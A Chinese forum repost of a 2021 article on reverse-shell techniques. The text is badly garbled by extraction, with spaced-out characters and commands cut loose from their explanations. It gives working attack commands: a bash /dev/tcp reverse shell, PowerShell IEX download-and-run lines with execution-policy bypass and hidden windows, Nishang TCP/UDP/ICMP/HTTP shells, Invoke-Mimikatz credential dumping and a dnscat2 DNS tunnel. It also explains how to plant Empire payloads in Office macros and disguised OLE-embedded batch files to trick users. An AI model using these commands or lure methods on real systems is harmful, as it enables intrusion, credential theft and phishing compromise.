搜索

[22240] 2021-08-10_常见shell反弹方式（一）

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-18
2021-08-10_常见shell反弹方式（一） 常 见 s h e l l 反 弹 方 式 （ 一 ） L e m o n S e c   2 0 2 1 - 0 8 - 1 0 以 下 文 章 来 源 于 系 统 安 全 运 维   ， 作 者 三 个 大 石 头 本 章 目 录 ： 有 了 菜 刀 的 虚 拟 终 端 为 啥 还 要 反 弹 s h e l l ？ w e b s h e l l 管 理 工 具 中 虚 拟 终 端 不 是 真 正 的 s h e l l （ 命 令 解 析 器 ） ， 通 过 客 户 端 和 服 务 器 的 w e b s h e l l 共 同 完 成 的 用 于 执 行 命 令 的 模 块 ， 当 用 户 在 提 权 时 获 取 的 管 道 是 无 法 通 过 虚 拟 终 端 来 使 用 。 虚 拟 终 端 无 法 执 行 交 互 式 命 令 、 无 法 控 制 进 程 状 态 、 无 法 补 全 命 令 等 等 ， 非 常 不 利 于 提 权 操 作 以 及 横 向 移 动 ， 所 以 ， 必 须 反 弹   s h e l l （ 将 目 标 机 器 的 命 令 解 析 器 反 弹 给 攻 击 者 或 者 测 试 人 员 ， 命 令 解 析 器 的 权 限 取 决 于 W E B 服 务 器 的 权 限 ， 一 般 情 况 下 ， 其 权 限 很 低 ） 。 目 标 机 上 反 弹 s h e l l 到 攻 击 者 的 机 器 ， 攻 击 者 需 要 监 听 n c w i n d o w s / l i n u x 反 弹 反 弹 s h e l l 1 、 、 b a s h 反 弹 反 弹 s h e l l b a s h 产 生 了 一 个 交 互 环 境 与 本 地 主 机 主 动 发 起 与 目 标 主 机 8 0 8 0 端 口 建 立 的 连 接 （ 即 T C P   8 0 8 0   会 话 连 接 ） 相 结 合 ， 然 后 在 重 定 向 个 t c p   8 0 8 0 会 话 连 接 ， 最 后 将 用 户 键 盘 输 入 与 用 户 标 准 输 出 相 结 合 再 次 重 定 向 给 一 个 标 准 的 输 出 ， 即 得 到 一 个 b a s h   反 弹 环 境 。 2 、 、 P o w e r s h e l l 反 弹 反 弹 s h e l l 2 . 1 ） 、 ） 、 P o w e r s h e l l 介 绍 介 绍 W i n d o w s   P o w e r S h e l l   是 一 种 命 令 行 外 壳 程 序 和 脚 本 环 境 ， 使 命 令 行 用 户 和 脚 本 编 写 者 可 以 利 用   . N E T   F r a m e w o r k 的 强 大 功 能 。 一 旦 攻 击 者 可 以 在 一 台 计 算 机 上 运 行 代 码 ， 他 们 便 可 以 下 载 p o w e r s h e l l 脚 本 文 件 （ . p s 1 ） 到 磁 盘 执 行 ， 脚 本 可 以 在 内 存 中 运 行 ( 无 文 件 化 ) 。 我 们 可 以 将 p o w e r s h e l l 看 做 是 命 令 提 示 符 c m d . e x e 的 扩 展 。 优 点 ： 系 统 安 全 运 维 系 统 安 全 运 维   . 机 器 猫 学 安 全 /   每 日 分 享 ， 绝 不 偷 懒 b a s h   - i   > &   / d e v / t c p / 1 0 . 0 . 0 . 1 / 8 0 8 0   0 > & 1 （ 每 个 符 号 是 什 么 意 思 ？ ）
①   W I N 7 以 上 默 认 安 装 ( 以 下 没 有 ) ②   P o w e r s h e l l 脚 本 可 以 运 行 再 内 存 中 ， 不 需 要 写 入 磁 盘 ③   可 以 远 程 加 载 P o w e r s h e l l 脚 本 并 执 行 ④   很 多 安 全 软 件 不 能 检 测 到 P o w e r s h e l l 的 活 动 ( 系 统 自 带 ) ⑤   C M D . e x e 通 常 被 阻 止 运 行 ， P o w e r s h e l l 不 会             ⑥   可 以 用 来 管 理 活 动 目 录 ( A D )   各 个 系 统 中 P o w e r s h e l l 的 版 本 如 下 ： 操 作 系 统 操 作 系 统 P o w e r S h e l l 版 本 版 本 是 否 可 升 级 是 否 可 升 级 W i n d o w   7 / W i n d o w s   s e r v e r   2 0 0 8 2 . 0 可 以 升 级 3 . 0 、 4 . 0 W i n d o w   8 /   W i n d o w s   s e r v e r   2 0 1 2 3 . 0 可 升 级 4 . 0 W i n d o w   8 . 1 /   W i n d o w s   s e r v e r   2 0 1 2   R 2 4 . 0 升 级 5 . 0       5 . 1 可 以 在 输 入 G e t - H o s t 或 者 $ P S V e r s i o n T a b l e . P S V E R S I O N 来 查 看 版 本 信 息 ， 如 下 所 示 ： 2 . 1 . 1 .   p o w e r s h e l l 策 略 策 略 G e t - E x e c u t i o n P o l i c y   查 看 当 前 环 境 执 行 脚 本 的 策 略 r e s t r i c t e d   不 允 许 执 行 脚 本 r e m o t e s i g n e d   可 以 执 行 本 地 脚 本   但 是 从 网 上 下 载 的 脚 本 不 能 运 行 a l l s i g n e d   对 签 名 的 脚 本 才 能 执 行 u n r e s t r i c t e d   允 许 执 行 任 意 脚 本             S e t - E x e c u t i o n P o l i c y   设 置 脚 本 运 行 策 略   2 . 1 . 2 .   P o w e r s h e l l 攻 击 利 用 攻 击 利 用 参 数 说 明 E x e c u t i o n P o l i c y   B y p a s s   :   绕 过 执 行 安 全 策 略 ， 这 个 参 数 非 常 重 要 ， 在 默 认 情 况 下 ， P o w e r S h e l l 的 安 全 策 略 规 定 了 P o w e r S h e l l 不 允 许 运 行 命 令 和 文 件 。 通 过 设 置 这 个 参 数 ， 可 以 绕 过 任 意 一 个 安 全 规 则 ; W i n d o w S t y l e   H i d d e n   ： 隐 藏 窗 口 ; N o L o g o   :   启 动 不 显 示 版 权 标 志 的 P o w e r S h e l l ; N o n I n t e r a c t i v e   ( - N o n l )   :   非 交 互 模 式 ， P o w e r S h e l l 不 为 用 户 提 供 交 互 的 提 示 ; N o P r o f i l e   ( - N o p ) :   P o w e r S h e l l 控 制 台 不 加 载 当 前 用 户 的 配 置 文 件 ; N o e x i t   :   执 行 后 不 退 出 S h e l l 。 这 在 使 用 键 盘 记 录 等 脚 本 时 非 常 重 要 。   2 . 2 、 、 P o w e r c a t 反 弹 反 弹 T C P   -   s h e l l p o w e r c a t 为 P o w e r s h e l l 版 的 N e t c a t ， 实 际 上 是 一 个 p o w e r s h e l l 的 函 数 ， 使 用 方 法 类 似 N e t c a t . 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / b e s i m o r h i n o / p o w e r c a t P o w e r S h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - F i l e   x x x . p s 1   绕 过 策 略 加 载 执 行 本 地 文 件 P o w e r S h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - W i n d o w S t y l e   H i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - N o P r o f i l e   - F i l e   x x x . p s 1 本 地 隐 藏 绕 过 权 限 执 行 脚 本 P o w e r S h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - W i n d o w S t y l e   H i d d e n   - N o P r o f i l e   - N o n l   I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( " x x x . p s 1 " ) ;   用 I E X 下 载 远 程 P S 1 脚 本 绕 过 权 限 执 行
攻 击 者 监 听 ： （ 反 向 ） 攻 击 者 监 听 ： （ 反 向 ） 目 标 机 反 弹 C M D ： 目 标 机 执 行 下 面 的 代 码 ： （ 正 向 ） 目 标 机 执 行 下 面 的 代 码 ： （ 正 向 ） 2 . 3 、 、 n i s h a n g 反 弹 反 弹 s h e l l N i s h a n g ( h t t p s : / / g i t h u b . c o m / s a m r a t a s h o k / n i s h a n g   ) 是 一 个 基 于 P o w e r S h e l l 的 攻 击 框 架 ， 集 合 了 一 些 P o w e r S h e l l 攻 击 脚 本 和 有 效 载 荷 ， 可 反 弹 T C P /   U D P /   H T T P / H T T P S /   I C M P 等 类 型 s h e l l 。 N i s h a n g 要 在 P o w e r S h e l l 3 . 0 以 上 的 环 境 下 才 可 以 正 常 使 用 ， 在 w i n d o w   7 或 者 s e r v e r 2 0 0 8 上 可 能 会 出 现 一 些 异 常 。 导 入 N i s h a n g 模 块 导 入 成 功 后 ， 产 看 N i s h a n g 中 模 块 N i s h a n g 攻 击 模 块 有 （ 只 介 绍 部 分 ） ： N c   – l v n p   9 9 9 9 p o w e r s h e l l   I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / b e s i m o r h i n o / p o w e r c a t / m a s t e r / p o w e r c a t . p s 1 ' ) ;   p o w e r c a t   - c   1 9 2 . 1 6 8 . 1 . 4   - p   9 9 9 9     - e   c m d p o w e r s h e l l   I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / b e s i m o r h i n o / p o w e r c a t / m a s t e r / p o w e r c a t . p s 1 ' ) ;   p o w e r c a t   - l   - p   9 9 9 9     - e   c m d 攻 击 机   n c   1 9 2 . 1 6 8 . 4 0 . 1 7 2   9 9 9 9 I m p o r t - M o d u l e   . n i s h a n g . p s m 1 G e t - C o m m a n d   – M o d u l e   n i s h a n g
C h e c k - V M : 检 测 目 标 机 器 是 否 为 虚 拟 机 I n v o k e - C r e d e n t i a l s P h i s h : 欺 骗 目 标 主 机 用 户 ， 用 作 钓 鱼 C o p y - V S S : 利 用 V o l u m e   S h a o d o w   C o p y 复 制 s a m 文 件 F i r e B u s t e r   F i r e L i S t e n e r : 用 作 内 网 环 境 扫 描 K e y l o g g e r : 用 作 键 盘 记 录 I n v o k e - M i m i k a t z : 类 似 M i m i k a t z ， 直 接 获 取 系 统 账 号 明 文 密 码 G e t - P a s s H a s h e s : 获 取 系 统 密 码 h a s h 值 A D D - p e r s i s t e n c e   用 作 持 久 化 E x e t o T e x t   作 用 e x e 转 换 为 T e x t 2 . 3 . 1   基 于 基 于 T C P 的 的 P o w e r s h e l l 交 互 式 交 互 式 s h e l l 在 目 标 机 上 执 行 如 下 的 代 码 ： 其 中 ， I n v o k e - P o w e r S h e l l T c p 是 基 于 T C P 协 议 的 P o w e r s h e l l 正 向 连 接 或 者 反 向 连 接 s h e l l ， 其 参 数 如 下 ： Ø   I P A d d r e s s   反 向 连 接 时 设 置 的 I P Ø   P o r t   正 向 连 接 时 设 置 的 端 口 ， 前 面 要 写 上 - B i n d 参 数 Ø   R e v e r s e     反 向 连 接 Ø   B i n d   正 向 连 接 反 向 连 接 反 向 连 接 ： 注 意 ： 可 将 n i s h a n g 下 载 到 攻 击 者 本 地 ， 执 行 如 下 的 代 码 （ 此 时 推 荐 使 用 p y t h o n 搭 建 简 易 W E B 服 务 ） ： 正 向 连 接 ： 正 向 连 接 ：   2 . 3 . 2   基 于 基 于 U D P 的 的 P o e r s h e l l 交 互 式 交 互 式 S h e l l 或 者 执 行 如 下 的 代 码 （ 需 要 导 入 N I s h a n g 的 模 块 ） p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / s a m r a t a s h o k / n i s h a n g / 9 a 3 c 7 4 7 b c f 5 3 5 e f 8 2 d c 4 c 5 c 6 6 a a c 3 6 d b 4 7 c 2 a f d e / S h e l l s / I n v o k e - P o w e r S h e l l T c p . p s 1 ' ) ; I n v o k e - P o w e r S h e l l T c p   - R e v e r s e   - I P A d d r e s s   1 9 2 . 1 6 8 . 1 . 4   - p o r t   9 9 9 9 I n v o k e - P o w e r S h e l l T c p   - R e v e r s e   - I P A d d r e s s   1 9 2 . 1 6 8 . 1 . 4   - p o r t   9 9 9 9 p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 4 / n i s h a n g / S h e l l s / I n v o k e - P o w e r S h e l l T c p . p s 1 ' ) ; I n v o k e - P o w e r S h e l l T c p   - R e v e r s e   - I P A d d r e s s   1 9 2 . 1 6 8 . 1 .   4   - p o r t   6 6 6 6 I n v o k e - P o w e r S h e l l T c p   - B i n d   - P o r t   4 4 4 4 p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / s a m r a t a s h o k / n i s h a n g / 9 a 3 c 7 4 7 b c f 5 3 5 e f 8 2 d c 4 c 5 c 6 6 a a c 3 6 d b 4 7 c 2 a f d e / S h e l l s / I n v o k e - P o w e r S h e l l U d p . p s 1 ' ) ; I n v o k e - P o w e r S h e l l U d p   - R e v e r s e   - I P A d d r e s s   1 9 2 . 1 6 8 . 1 . 4   - p o r t   5 3 9 9
在 攻 击 者 的 电 脑 上 执 行 如 下 的 命 令 ： 上 述 测 试 是 反 向 连 接 ， 那 么 正 向 连 接 的 时 候 ， 在 攻 击 者 的 电 脑 上 运 行 的 命 令 为 ： 2 . 3 . 3   基 于 基 于 I C M P 的 的 P o e r s h e l l 交 互 式 交 互 式 S h e l l 需 要 借 助 于 i c m p s h _ m . p y 文 件 ， 其 用 法 如 下 ： 用 法 （ 攻 击 机 器 执 行 ） ：     在 被 攻 击 的 机 器 上 执 行 ： 2 . 3 . 4   基 于 基 于 H T T P / H T T P S 的 的 P o e r s h e l l 交 互 式 交 互 式 S h e l l 然 后 会 生 成 一 个 p o w e r s h e l l 如 下 的 命 令 然 后 复 制 该 ， 命 令 在 被 攻 击 机 器 上 执 行 即 可 ， 便 可 看 到 反 弹 的 s h e l l n c   - l u p   6 0 0 5 n c   - n v u   1 9 2 . 1 6 8 . 1 . 2 4   4 5 5 5 . / i c m p s h - m . p y   < s o u r c e   I P   a d d r e s s >   < d e s t i n a t i o n   I P   a d d r e s s > I n v o k e - P o w e r S h e l l I c m p   - I P A d d r e s s   < s o u r c e   I P   a d d r e s s > H T T P :   I n v o k e - P o s h R a t H t t p   – I P A d d e s s   1 9 2 . 1 6 8 . 1 . 4   – P o r t   4 4 4 4 H T T P S :   I n v o k e - P o s h R a t H t t p s     – I P A d d e s s   1 9 2 . 1 6 8 . 1 . 4   – P o r t   4 4 4 4 · · · · I E X     ( ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ‘ h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 : 4 4 4 4 / c o n n e c t ’ ) )
2 . 3 . 5   M i m i k a t z 模 块 获 取 模 块 获 取 h a s h 密 码 密 码 目 标 机 运 行 # 运 行 完 会 直 接 显 示 h a s h ， 若 是 没 有 k b 2 8 1 9 7 7 补 丁 ， 还 可 显 示 明 文 密 码 2 . 3 . 6   P o r s c a n 模 块 扫 描 端 口 模 块 扫 描 端 口 2 . 4 、 、 d n s c a t 2   反 弹 反 弹 D N S   s h e l l   d n s c a t 2 ( h t t p s : / / g i t h u b . c o m / i a g o x 8 6 / d n s c a t 2   ) 是 一 个 D N S 隧 道 ， 旨 在 通 过 D N S 协 议 创 建 加 密 的 命 令 和 控 制 （ C ＆ C ） 通 道 。 d n s c a t 2 分 为 两 部 分 ： 客 户 端 和 服 务 器 。 d n s c a t 2 客 户 端 采 用 C 语 言 编 写 ， 服 务 器 端 采 用 r u b y 语 言 编 写 。 后 来 又 有 安 全 研 究 人 员 使 用 P o w e r S h e l l 脚 本 重 写 了 d n s c a t 2 客 户 端 d n s c a t 2 - p o w e r s h e l l ( h t t p s : / / g i t h u b . c o m / l u k e b a g g e t t / d n s c a t 2 - p o w e r s h e l l ) 利 用 d n s c a t 2   和   d n s c a t 2 - p o w e r s h e l l 实 现 反 弹 D N S   s h e l l : S t e p   1   :   在 l i n u x 系 统 中 安 装 d n s c a t 2 （ 需 要 r u b y 环 境 ） ， 然 后 开 始 监 听 : S t e p   2 ： ： 在 目 标 主 机 上 执 行 如 下 的 代 码 ： S t e p   3 :   接 着 就 可 以 看 到 反 弹 过 来 的 s h e l l ， 输 入 s e s s i o n   - i   1 进 入 第 一 个 会 话 ， 输 入 s h e l l ， 然 后 再 次 输 入 s e s s i o n   - i   2 ， 会 看 到 系 统 的 C M D 命 令 行 ！ ！ 2 . 5 、 、 E m p i r e   反 弹 反 弹 s h e l l E m p i r e ( h t t p s : / / g i t h u b . c o m / E m p i r e P r o j e c t / E m p i r e   )   基 于 p o w e r s h e l l 的 后 渗 透 攻 击 框 架 ， 可 利 用 o f f i c e   宏 、 O L E 对 象 插 入 批 处 理 文 件 、 H T M L 应 用 程 序 ( H T A s ) 等 进 行 反 弹 s h e l l ， 它 的 功 能 有 点 类 似 M S F 。 注 意 ： 此 工 具 疯 狂 报 错 ， 极 难 安 装 。 参 考 连 接 ： h t t p s : / / b l o g . c s d n . n e t / q q _ 4 1 3 2 0 6 3 8 / a r t i c l e / d e t a i l s / 1 0 7 1 3 6 8 2 1   2 . 5 . 1   安 装 安 装 E m p i r e I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 4 0 . 1 2 8 / I n v o k e - M i m i k a t z . p s 1   ' ) ; I n v o k e - M i m i k a t z I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 4 0 . 1 2 8 / I n v o k e - P o r t s c a n . p s 1   ' ) ; I n v o k e - P o r t s c a n   - H o s t s   1 9 2 . 1 6 8 . 4 0 . 1   - P o r t s   1 - 1 0 0 r u b y   d n s c a t 2 . r b   - - d n s   " d o m a i n = p e n t e s t . c o m , h o s t = 1 9 2 . 1 6 8 . 1 . 3 2 "   - - n o - c a c h e   - e   o p e n p o w e r s h e l l   I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / l u k e b a g g e t t / d n s c a t 2 - p o w e r s h e l l / m a s t e r / d n s c a t 2 . p s 1 ' ) ; S t a r t - D n s c a t 2   - D o m a i n   p e n t e s t . c o m   - D N S S e r v e r   1 9 2 . 1 6 8 . 1 . 3 2 G i t   c l o n e   h t t p s : / / g i t h u b . c o m / E m p i r e P r o j e c t / E m p i r e
启 动 E m p i r e 设 置 监 听 器     选 择 渗 透 测 试 模 块 （ 设 置 参 数 à r u n / e x e c u t e ）     产 生 p a y l o a d 最 后 把 p a y l o a d 在 目 标 机 上 执 行     反 弹 s h e l l   2 . 5 . 2   利 用 利 用 o f f i c e 宏 定 义 反 弹 宏 定 义 反 弹 s h e l l S t e p   1 : 我 们 首 先 查 看 一 下 E m p i r e 的 帮 助 信 息 ： h e l p 接 着 输 入 l i s t e n e r s 设 置 监 听 器 ， 后 面 跟 上 7 中 模 式   选 用 h t t p ， 然 后 e x e c u t e 注 意 ： 可 以 通 过 s e t   N a m e   s h u t e e r   来 设 置 该 监 听 器 的 名 称 如 果 之 前 已 经 添 加 过 监 听 器 ， 后 来 添 加 的 监 听 器 要 设 置 名 字 以 及 监 听 的 端 口 s e t   N a m e   l i s t e n e r _ n a m e     s e t   H o s t   I P : p o r t S t e p   2 ： ： b a c k 退 出 当 前 环 境 ， 然 后 生 成 p a y l o a d ， 使 用 u s e s t a g e r   m o u d l e _ n a m e ， m u l t i 为 通 用 模 块 ， o s x 是 M A C 系 统 的 模 块 ， 其 余 均 为 W i n d o w s 系 统 的 模 块 。   输 入 u s e s t a g e r   w i n d o w s / m a c r o   s h u t e e r ( 监 听 器 的 名 字 )   # 生 成 p a y l o a d
e x e c u t e 产 看 生 成 的 p a y l o a d 生 成 / t m p / m a c r o   攻 击 代 码 后 ， 新 建 一 个 w o r d   创 建 宏 ， 注 意 ： 需 要 开 启 宏 或 者 用 户 手 动 启 用 宏 。 开 启 宏 设 置 ： “ 文 件 ” - “ 选 项 ” - “ 信 任 中 心 ” , 选 择 “ 启 用 所 有 宏 ” 。 然 后 产 生 的 p a y l o a d 添 加 到 测 试 文 档 的 宏 中 。 S t e p   3 ： ： 诱 导 用 户 去 打 开 该 测 试 文 档 ， 然 后 就 可 k a l i 终 端 中 有 接 收 到 的 测 试 数 据
进 入 反 弹 回 来 的 会 话 中 ， 使 用 i n t e r a c t 命 令 连 接 主 机 ， i n t e t a c t   D M E Y H L 1 V （ 会 话 名 字 ） S h e l l   w h o a m i 查 看 当 前 用 户   s h e l l   + 命 令 S h e l l   n e t   u s e r   获 取 系 统 用 户 s y s i n f o 获 取 系 统 信 息 运 行 m i m i k a t z ， 获 取 当 前 活 动 用 户 账 号 信 息 获 取 当 前 进 程 的 I D ： g e t p i d                     g e t u i d       p w d     输 入 c r e d s 可 以 自 动 过 滤 、 整 理 出 获 取 的 用 户 密 码 （ 有 密 文 和 明 文 ）
2 . 5 . 3   利 用 利 用 o f f i c e   O L E 对 象 插 入 对 象 插 入 b a t 文 件 反 弹 文 件 反 弹 s h e l l S t e p   1 ： 要 想 设 置 l a u n c h e r _ b a t 木 马 ， 需 要 输 入 u s e s t a g e r   w i n d o w s / l a u n c h e r _ b a t   h t t p ( 监 听 器 的 名 称 ) S t e p   2 ： 将 产 生 的 b a t 文 件 直 接 复 制 到 靶 机 上 运 行 ， 就 可 以 看 到 反 弹 的 s h e l l 获 取 系 统 运 行 的 进 程 为 了 增 加 迷 惑 性 ， 可 以 将 批 处 理 文 件 插 入 到 o f f i c e 文 档 中 ， 现 创 建 一 个 e x c e l 表 格 ， 在 e x c e l 中 “ 插 入 ” - “ 对 象 ” - “ 由 文 件 创 建 ”   处 ， 插 入 l a u n c h e r . b a t 文 件 ， 可 更 改 文 件 名 称 和 图 标 ， 进 行 伪 装 ， 当 诱 导 目 标 点 击 该 文 件 ， 执 行 后 ， 即 可 成 功 反 弹 s h e l l 。 2 . 5 . 4   E m p i r e 产 生 产 生 V B S 木 马 反 弹 木 马 反 弹 s h e l l u s e s t a g e r   w i n d o w s / l a u n c h e r _ v b s e x e c u t e 在 靶 机 上 运 行 该 V B S 脚 本 即 可
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理